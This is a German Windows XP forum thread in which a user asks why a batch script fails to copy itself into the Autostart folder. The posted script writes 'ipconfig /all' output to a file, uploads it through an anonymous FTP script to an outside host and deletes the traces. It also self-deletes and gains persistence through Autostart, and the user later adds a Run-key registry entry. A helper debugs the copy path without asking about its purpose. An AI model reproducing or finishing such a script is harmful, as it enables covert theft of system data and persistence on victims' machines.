Supportnet Computer
Planet of Tech

Supportnet / Forum / WindowsXP

Frage zu einem batch skript





Frage

Hi, weiß jemand, was an den folgenden Programmzeilen falsch ist? code: 1: xcopy cool.bat "%USERSPROFILE%\Startmenü\Programme\Autostart\" /Y > nul del %0 die batch datei wird nicht in das autostart verzeichnis kopiert.

Antwort 1 von LoLo

Hi, gib mal den Pfad zur cool.bat an und lasse alles nach > weg.

xcopy [Pfad]cool.bat "%USERSPROFIL%\Startmenü\Programme\Autostart\" /Y

Antwort 2 von Alex1986

Ok jetzt wird ein Ordner erstellt der heist startmen³ und und da wird die datei reinkopiet.

Antwort 3 von LoLo

...lasse mal die (") weg. Die brauchst du nur, wenn im Pfad ein Datei oder Ordnerbezeichnung mit Leerzeichen z.B. bei "Eigene Dateien" vorkommt.
Es dürfte kein neuer Ordner erstellt werden. Hast du etwa noch anderen Code in der bat stehen?

Antwort 4 von Alex1986

habe jetzt mal die " weg gelassen und ja da ist noch ein anderer code in der datei, diesen habe ich unten angehengt.

@ECHO OFF
> script.ftp ECHO anonym
>>script.ftp ECHO 12345678
>>script.ftp ECHO ascii
>>script.ftp ECHO put c:\Zuhause.txt
>>script.ftp ECHO quit
ipconfig/all > c:\Zuhause.txt
FTP -v -s:script.ftp anonym.an.ohost.de
TYPE NUL >script.ftp
DEL script.ftp
DEL c:\Zuhause.txt
xcopy cool.bat %userprofile%\Startmenü\Programme\Autostart\ /Y

:End

Antwort 5 von LoLo

Du musst noch zur cool.bat den Pfad angeben, wenn sich die Batch nicht im gleichen Ordner wie die cool.bat befindet!
Leg mal Probeweise eine andere BAT an, die nur den xcopy-Befehl enthält, um zu prüfen, ob das Kopieren funktioniert oder ob der restliche Code nicht funktioniert.

@ECHO OFF

xcopy [Pfad]cool.bat "%USERSPROFIL\Startmenü\Programme\Autostart\" /Y

Antwort 6 von Alex1986

Entschuldigt das ich erst so spät schreibe.
@ LoLo ja ich weiß das ich den Pfad mit angeben muss, aber bei mir befindet schick die Datei im selbem Ordner.
Ich habe das jetzt über einen Registery Eintrag gelöst in dem ich die .reg über den Batch Skript starten lasse, wie heißt denn der Batch Befehl damit ich mir die .reg Datei sparen kann? mit add reg habe ich es versucht aber irgendwie klappte das nicht so ganz.
Hier noch ein Beispiel:

add reg [HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run] "qwer"="C:\\WINDOWS\\system32\\abc.txt"